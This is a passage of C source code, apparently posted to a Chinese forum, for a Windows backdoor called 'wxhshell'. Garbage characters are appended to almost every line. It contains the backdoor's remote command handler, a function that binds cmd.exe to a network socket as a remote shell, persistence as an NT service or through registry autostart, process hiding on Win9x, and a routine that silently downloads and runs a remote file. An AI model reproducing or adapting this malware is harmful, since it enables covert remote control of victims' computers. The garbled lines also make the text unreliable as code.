  case '?': { Pl=ZRKn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R%Q@   
    break; b~'"^ Bts*  
  } PV9pa/`@  
  // 安装 `S6x<J&T\/  
  case 'i': { Sx?ua<`:d  
    if(Install()) JHz [7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pQshUm"_  
    else S `#w+C#EW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B$b +Ymu  
    break; in~D  
    } '+osf'&  
  // 卸载 )3~{L;q  
  case 'r': { 7w'wjX-  
    if(Uninstall()) ep2k%?CX 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a^`rtvT  
    else 3 ):A   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NF+iza;DP  
    break; y^%n'h{  
    } n^z]q;IN2.  
  // 显示 wxhshell 所在路径 {B[=?6tQ  
  case 'p': { 7( qE0R&@  
    char svExeFile[MAX_PATH]; P"W2(d  
    strcpy(svExeFile,"\n\r"); a"FCZ.O1  
      strcat(svExeFile,ExeFile); BReJ!|{m}  
        send(wsh,svExeFile,strlen(svExeFile),0);  .Nw=[  
    break; cm?\ -[cV  
    } tS|(K=$  
  // 重启 Zy o[(`y  
  case 'b': { :/ Q   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %] >KvoA  
    if(Boot(REBOOT)) $e*ce94  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5\e9@1Rc  
    else { TNGU6j}oq  
    closesocket(wsh); Wzw7tLY._  
    ExitThread(0); huJ&]"C  
    } XzIl`eH  
    break; z"0I>gl  
    } B5X(ykaX~  
  // 关机 f6p-s y>  
  case 'd': { &Rvm>TC=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1XD,uoxB  
    if(Boot(SHUTDOWN)) a{R%#e\n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qWODs  
    else { ; mZW{j  
    closesocket(wsh);  CCL   
    ExitThread(0); QKr,g  
    } ^~3SSLS4"  
    break; K?BOvDW"`  
    } B]uc<`f  
  // 获取shell CE/Xfh'44  
  case 's': { mT.u0KUIy  
    CmdShell(wsh); [/e<l&y  
    closesocket(wsh); bI:zp!-.  
    ExitThread(0); MBqt&_?K  
    break; JwAYG5W  
  } f}x.jxY?  
  // 退出 H^s<{E0<  
  case 'x': { n p\TlUc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); paKSr|O  
    CloseIt(wsh); k} |   
    break; %O!v"Xh  
    } %`&2+\`  
  // 离开 ,M^P!  
  case 'q': { Bh;7C@dq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @JyK|.b#0  
    closesocket(wsh); vSi.txV2  
    WSACleanup(); 5 N#3a0)  
    exit(1); )?X-(4  
    break; k +H3Bq  
        } (=* cK-3  
  } R,pX:H&#+  
  } TrLu~4  
k3) dEH1z  
  // 提示信息 mg*qiScfW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hm%;=`:'  
} rvnT6Ve  
  } xHz[t6;4;  
joiL{  
  return; 2oNk 93D  
} wid;8%m  
%F-ZN^R  
// shell模块句柄 TWQG591  
int CmdShell(SOCKET sock) f!!V${)X  
{ X@K-^8  
STARTUPINFO si; E0MGRI"me  
ZeroMemory(&si,sizeof(si)); _nbBIaHN{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `C$:Yf]%nG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bO'Sgc[]  
PROCESS_INFORMATION ProcessInfo; @I_8T$N=  
char cmdline[]="cmd"; =8; {\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aC%m-m  
  return 0; uF1~FKB  
} @U3Vc|  
)u/yF*:n  
// 自身启动模式 j^^Ap  
int StartFromService(void) DDPxmuNG  
{ hvDNz"ec{  
typedef struct mR}6r2O2\Q  
{ E#u l IgD  
  DWORD ExitStatus; M;p em<  
  DWORD PebBaseAddress; iVy7elT;R  
  DWORD AffinityMask; FE2f'e  
  DWORD BasePriority; V- Cv,8   
  ULONG UniqueProcessId; (UU(:/  
  ULONG InheritedFromUniqueProcessId; YRh  B RE  
}   PROCESS_BASIC_INFORMATION; `eIenA  
mo[Zb0>  
PROCNTQSIP NtQueryInformationProcess; uWM{JEOl  
2Fq<*pxAY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; * v75O7l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N1|$$9G+  
}RwSp!}C  
  HANDLE             hProcess; 7tcPwCc{  
  PROCESS_BASIC_INFORMATION pbi; %=/)  
l)!n/x_ !  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mw='dFt  
  if(NULL == hInst ) return 0; " QWq_R  
.8y3O]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sIK;x]Q)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h\PHK C2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qeL5D*  
0 0 M@  
  if (!NtQueryInformationProcess) return 0; ?ON-+u  
V}SBuQp"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QoG cWJ  
  if(!hProcess) return 0; zJ)*Z,7  
Dg} Ka7H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /k<WNZM  
#3_*]8K.R  
  CloseHandle(hProcess); lhw ,J]0*  
CC@.MA@9N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _ h": >  
if(hProcess==NULL) return 0; .]sf0S!  
9\]^|?zQ`  
HMODULE hMod; {WPobP"  
char procName[255]; e{v=MxO=S  
unsigned long cbNeeded; &'DU0c&  
GF5^\Rf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |"9 #bU  
dVFf.  
  CloseHandle(hProcess); H)>;/#!r-  
k:#P|z$UD  
if(strstr(procName,"services")) return 1; // 以服务启动 CJXg@\\/  
X_g 3rv1J  
  return 0; // 注册表启动 %LZ({\5K#f  
} y;AL'vm9  
8WXJ.  
// 主模块 ^>N]H>0'S  
int StartWxhshell(LPSTR lpCmdLine) i7utKj*57  
{ pTyi!:g3W  
  SOCKET wsl; [_.5RPJP8  
BOOL val=TRUE; qg}O/K  
  int port=0; $LLA,?;!  
  struct sockaddr_in door; zdEPDd B  
Hw-Z  
  if(wscfg.ws_autoins) Install(); )h8\u_U  
%bD}m!  
port=atoi(lpCmdLine); L   
wj1{M.EF\  
if(port<=0) port=wscfg.ws_port; r@o6voX  
?x0pe4^If  
  WSADATA data;  aKd+CO:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YNBHBK4;  
%T[^D&9$,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^+1#[E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W{rt8^1  
  door.sin_family = AF_INET; UEzb^(8>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M!tXN&V]  
  door.sin_port = htons(port); `r_m+]  
wprX!)w<i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0^8)jpL$<9  
closesocket(wsl); 5 XA=G  
return 1; ]Y| 9?9d  
} [F[K^xYTlg  
?*oKX  
  if(listen(wsl,2) == INVALID_SOCKET) { !2|=PB' M  
closesocket(wsl); F5 ]C{  
return 1; -dO'~all  
} #%FN>v3e  
  Wxhshell(wsl); c.A|Ir  
  WSACleanup(); zA;@@)hwR  
{h KjD"?  
return 0; 7 lo|dg80  
~-83Q5/[  
}  N<L`c/  
tWdhDt8$&  
// 以NT服务方式启动 lMz<s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0K-*WQ*#9  
{ 0iZGPe~  
DWORD   status = 0; "z*:'8;E  
  DWORD   specificError = 0xfffffff; x#N-&baS  
oiH|uIsqR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4TwQO$C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1[*{(e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1,V`8 [  
  serviceStatus.dwWin32ExitCode     = 0; X{g%kf,D=  
  serviceStatus.dwServiceSpecificExitCode = 0; /V?H4z[G  
  serviceStatus.dwCheckPoint       = 0; $^tv45  
  serviceStatus.dwWaitHint       = 0; -[Qvg49jy  
ZCg`z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;_:Ool,  
  if (hServiceStatusHandle==0) return; !4rPv\   
M- 0i7%  
status = GetLastError(); #2tCV't  
  if (status!=NO_ERROR) m4[g6pNx~  
{ xc?}TPpt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <g9"Cr`  
    serviceStatus.dwCheckPoint       = 0; b59{)u4F  
    serviceStatus.dwWaitHint       = 0; IF@HzT;Q  
    serviceStatus.dwWin32ExitCode     = status; C#w]4$/  
    serviceStatus.dwServiceSpecificExitCode = specificError; $A}QY5`+~S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1>r ,vD&  
    return; f '6|OsVQ  
  } (H?ZSeWx  
M_``'gw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {5%/T,  
  serviceStatus.dwCheckPoint       = 0; T!Sj<,r+j  
  serviceStatus.dwWaitHint       = 0; {[(pWd%J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )h^NR3N  
} +[m8c){  
x "(9II*  
// 处理NT服务事件,比如:启动、停止 a)2yE,":  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J Lb6C 52  
{ 7?)/>lx\>$  
switch(fdwControl) NfE.N&vI_c  
{ yoqa@V  
case SERVICE_CONTROL_STOP: ;5 <-)  
  serviceStatus.dwWin32ExitCode = 0; sygH1|f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "D* Wi7  
  serviceStatus.dwCheckPoint   = 0; Qrz4}0  
  serviceStatus.dwWaitHint     = 0; NE"jh_m-  
  { ' eO/PnYW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HBLWOQab  
  } FoPginZ]J  
  return; 'nK~'PZ,  
case SERVICE_CONTROL_PAUSE: 7SI)1_%G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r9ke,7?  
  break; =:h3w#_c  
case SERVICE_CONTROL_CONTINUE: oTOfK}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ${U6=  
  break; )u@t.)ChAV  
case SERVICE_CONTROL_INTERROGATE: 1a9w(X  
  break; W81o"TR|pt  
}; "+iAd.qd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  SNvb1&  
} 7unA"9=[4V  
j$eCe< .3  
// 标准应用程序主函数 L2U x9_S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) = cfm=+  
{ PW_`qP:  
wL<j:>Ke[3  
// 获取操作系统版本 6MrKi|'X@  
OsIsNt=GetOsVer(); L? ;/cO^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1<uwU(  
r`]7S_t5T  
  // 从命令行安装 0~xaUM`  
  if(strpbrk(lpCmdLine,"iI")) Install();  3t  
v#=ayWgk  
  // 下载执行文件 J1-):3A  
if(wscfg.ws_downexe) { [:i sZG*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w67x l  
  WinExec(wscfg.ws_filenam,SW_HIDE); a!.!2a&t  
} Q=.g1$LP  
\r]('x3S  
if(!OsIsNt) { hCLk#_  
// 如果时win9x,隐藏进程并且设置为注册表启动 7l}~4dm2J  
HideProc(); nx :)k-p_[  
StartWxhshell(lpCmdLine); Z90Fcp:R  
} yGV{^?yoP  
else /:6Q.onmLn  
  if(StartFromService()) 5}SXYA}  
  // 以服务方式启动 P7 8uq  
  StartServiceCtrlDispatcher(DispatchTable); ew"m!F#  
else >PH< N  
  // 普通方式启动 NhtEW0xCr  
  StartWxhshell(lpCmdLine); K|~AA"I;  
Ge9}8  
return 0; 0(vdkC4\A  
}
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只看该作者 1 发表于: 2006-10-10
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